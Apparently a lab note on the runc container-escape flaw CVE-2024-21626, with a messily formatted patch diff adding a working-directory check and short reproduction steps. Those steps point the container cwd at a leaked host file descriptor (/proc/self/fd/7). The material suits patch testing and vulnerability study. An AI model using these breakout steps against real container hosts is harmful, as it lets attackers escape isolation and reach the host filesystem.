make install

make uninstall

--- a/libcontainer/init_linux.go
+++ b/libcontainer/init_linux.go
@@ -7,6 +7,7 @@ import (
        "net"
        "os"
        +    "path/filepath"
        "runtime"
        "runtime/debug"
        "strconv"
        @@ -268,6 +272,32 @@ func populateProcessEnvironment(env []string) error {
        return nil
        }

        +// verifyCwd ensures that the current working directory is still inside
        +// the container’s mount-namespace root. If getcwd(2) returns ENOENT,
         // it indicates the cwd is outside the container.
         // See CVE-2024-21626.
        +func verifyCwd() error {
        +   if wd, err := unix.Getwd(); errors.Is(err, unix.ENOENT) {
        +       return errors.New("current working directory is outside of container mount namespace root -- possible container breakout detected")
        +   } else if err != nil {
        +       return fmt.Errorf("failed to verify if current working directory is safe: %w", err)
        +   } else if !filepath.IsAbs(wd) {
            +       // Sanity check: cwd should always be absolute
                +       return fmt.Errorf("current working directory is not absolute -- possible container breakout detected: cwd is %q", wd)
                +   }
        +   return nil
            +}

            @@ -326,6 +353,10 @@ func finalizeNamespace(config *initConfig) error {
                if err := system.ClearKeepCaps(); err != nil {
                    return fmt.Errorf("unable to clear keep caps: %w", err)
                }
                +    // After chdir to config.Cwd, ensure it’s still inside the container
                    +    if err := verifyCwd(); err != nil {
                        +        return err
                            +    }
                return nil
            }

    - wsl, vmware (Ubuntu 18 ~ 22)
    - 内核 (6.6.87)
    - runc ( ≤ 1.1.11)
    - docker (28.1.1)
    - go (1.20.14)

    mkdir CVE-2024-21626 && cd CVE-2024-21626 && mkdir rootfs

    docker pull alpine:latest
    docker export $(docker create alpine:latest) | tar x -C rootfs/

    runc spec
    sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json

    sudo bash -c "exec 7</; runc run demo"

- make install, make uninstall